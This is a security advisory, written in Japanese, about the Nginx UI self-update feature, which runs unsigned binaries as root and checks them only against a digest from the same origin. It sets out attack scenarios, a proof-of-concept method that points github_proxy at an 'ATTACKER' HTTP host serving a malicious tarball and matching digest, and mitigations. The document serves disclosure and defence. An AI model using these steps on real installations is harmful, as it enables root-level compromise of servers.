Nginx UI: 自己アップデート機能は、署名のないバイナリを実行し、その検証は同一オリジンからのダイジェストのみに依存するため、改ざんされたミラーや中間者攻撃(MITM)によってリモートコード実行(RCE)のリスクがあります。
## 概要
自己アップデート機能は、リリース版のバイナリとそのチェックサム(`*.tar.gz` および `*.tar.gz.digest`)を、同一のエンドポイント(`version.GetUrl()`、これは `github_proxy` またはデフォルトのプロジェクトの `cloud.nginxui.com` ミラー)からダウンロードし、バイナリをそのダイジェストと比較することによってのみ検証します。
バイナリとダイジェストは同一のオリジンから提供され、暗号学的署名や公開鍵による検証は行われません。ダウンロードされたバイナリは、実行中のプログラムを置き換えます(`selfupdate.CommitBinary`)、そしてプロセスが再起動されます。このバイナリは、通常はrootユーザーとして実行されます。
整合性は、バイナリと同じ場所から取得されるダイジェストのみに依存しているため、そのダウンロードパスを制御できる者は、悪意のあるバイナリと一致するダイジェストを組み合わせることで、次回のアップデート時にroot権限でコードを実行することができます。さらに、`github_proxy`設定は、`http://`のURLも受け入れるため、バイナリとダイジェストを平文で取得することができます。
## 影響を受けるコード
- `internal/version/url.go GetUrl(path)` = `<github_proxy or cloud.nginxui.com>/<path>`:バイナリとダイジェストの両方に使用されます。
- `internal/upgrader/upgrade.go DownloadLatestRelease`: ダイジェストのURLとバイナリのURLは、どちらも`GetUrl()`でラップされ、取得され、`digestFileContent == DigestSHA512(tarName)`で検証されます。`internal/upgrader/`のどこにも、署名検証は行われていません。
- `selfupdate.CommitBinary`によって、実行中のバイナリが置き換えられ、プロセスが再起動されます。
- `settings/http.go`: `GithubProxy`は、任意のURL(`binding:"omitempty,url"`)を受け入れます。これには`http://`も含まれます。
## 攻撃シナリオ
A. ミラー/CDNの侵害(主要)。デフォルトでは、バイナリファイルとダイジェストは `cloud.nginxui.com` を経由して送信されます。もし、そのミラー(またはGitHubのリリースCDN)が侵害された場合、またはDNS/BGPが乗っ取られた場合、攻撃者はすべてのインスタンスがアップグレードする際に、悪意のあるバイナリファイルと対応するダイジェストを提供することができ、これにより、システム全体でroot権限の不正実行が可能になります。攻撃者はnginx-uiの認証情報を使用する必要はありません(攻撃者はミラーを制御しているため)。バイナリファイルの署名があれば、これを防ぐことができます。
B. HTTPプロキシと中間者攻撃。GitHubへのアクセスが制限されたネットワークを使用しているユーザーは、`github_proxy`を使用することを想定しています。このフィールドは `http://` を受け入れるため、バイナリファイルとダイジェストは平文で取得されます。ネットワーク経路上の攻撃者(不正なゲートウェイ、ARPスプーフィング、悪意のあるWi-Fi、侵害されたルーターなど)が、悪意のあるバイナリファイルと対応するダイジェストを置き換えることで、次のアップグレード時にroot権限の不正実行を引き起こす可能性があります。
C. (仕組みのデモンストレーション) 認証されたユーザーが、自分が制御するサーバーに `github_proxy` を設定し、アップグレードをトリガーします。以下に示すPoC(概念実証)は、この仕組みを証明しています。nginx-uiでは、ロールの分離がないため、そのようなユーザーは管理者と同等の権限を持ちます。したがって、この経路は自己責任であり、署名されていない攻撃者バイナリが受け入れられ、実行されることを示すためにのみ含まれています。
## 概念実証 (ライブ、公式イメージ uozi/nginx-ui:2.3.11) — 手法
攻撃者がHTTPサーバーを構築し、任意の `*.tar.gz` ファイルに対しては、悪意のあるtarアーカイブ(その中の `nginx-ui` が、実行するユーザーの情報を書き込むスクリプト)を提供し、任意の `*.digest` ファイルに対しては、そのtarアーカイブのSHA-512ハッシュ値を提供します。
1. ダウンロード元を攻撃者のサーバーに変更します(ここでは `github_proxy` を使用。シナリオA/Bでは、代わりに侵害されたミラーまたはMITM攻撃)。`POST /api/settings` に `http.github_proxy = http://ATTACKER:8890` を送信 -> 200 OK。このフィールドはHTTP URLを受け付けます。
2. アップグレードを開始します。WebSocket (WS) で `GET /api/upgrade/perform` を送信し、`{"channel":"stable"}` を送信します。
3. 観察された内容:
- 攻撃者のサーバーは、以下の両方のリクエストを受信しました。
`GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest` と `.../nginx-ui-linux-64.tar.gz`
(平文のHTTP経由)。
- WS: 「最新版のダウンロード中」-> 「コアのアップグレード実行中」-> 再起動。攻撃者が提供したtarアーカイブのハッシュ値と一致したため(攻撃者は両方を提供)、整合性チェックは合格。ただし、署名はチェックされませんでした。
- コンテナ内部では、`/tmp/UPGRADE_PWNED` が `UPGRADE_RCE_EXECUTED uid=0` となり、悪意のあるバイナリがnginx-uiを置き換え、root権限で実行されました。
## 影響
アップグレード時にroot権限でのコード実行が発生します。現実的には、信頼されたダウンロード元(ミラー/CDN、シナリオA — 全体への影響)を侵害するか、平文のHTTPプロキシに対するMITM攻撃(シナリオB)によって到達可能です。リリースバイナリに暗号署名があれば、これらの攻撃をすべて防ぐことができます。
## 重要な注意点
- ライブ検証:整合性バイパスメカニズム。署名されていないバイナリと、同一オリジンからのダイジェストが、root権限で受け入れられ実行されます。HTTPプロキシが設定されている場合、バイナリとダイジェストは平文のHTTP経由で取得されます。これは、シナリオC(攻撃者によって制御されるプロキシ)によって実証されました。
- 実装されていません(脅威モデルの仮定、PoCの成果物ではありません):実際に`cloud.nginxui.com`またはGitHub CDNを侵害すること(シナリオA)、および、実際の経路上のMITM(中間者攻撃)を実行すること(シナリオB)。これらは、攻撃者にとって標準的な能力であり、ここでは分析として示されています。
- アップグレードは、オペレーターによってトリガーされます(UI:R)。デフォルトのフローでは、HTTPSを使用して`cloud.nginxui.com`とGitHubにアクセスし、ダイジェストを使用するため、これは「完全な整合性がない」状態ではありません。問題点は、署名がないこと、そして、ソースが侵害されたり、通信が平文(HTTPプロキシ)である場合に重要になることです。
## 推奨される対策
リリースバイナリを、nginx-uiバイナリに組み込まれた公開鍵で検証された暗号学的署名と照合します。または、独立した、固定されたチャネルで取得されたダイジェストと照合します。バイナリと同じオリジンからのダイジェストを使用することは避けてください。`github_proxy`に対して`http://`の使用を禁止し、HTTPSを必須とします。`github_proxy`の設定を保護されたものとして扱うことを検討してください。
## 重複/新規性
これは、CVE-2026-42238(認証されていないバックアップ/リストアによるリモートコード実行)およびCVE-2026-33026(バックアップの改ざん)とは異なります。これは、自己アップグレードのバイナリパスに関するものです。既存のnginx-uiのCVE/GHSAには、アップグレードの整合性に関するものがありません(osv.devおよびGitHubのアドバイザリデータベースを確認済み)。新規であると考えられます。
影響を受けるパッケージ:
- go github.com/0xJacky/Nginx-UI: 影響を受けるバージョンは、>= 1.9.10-0.20250517140552-daee3ac7ade1、< 1.9.10-0.20260728114330-580585516dd8。修正されたバージョンは、1.9.10-0.20260728114330-580585516dd8です。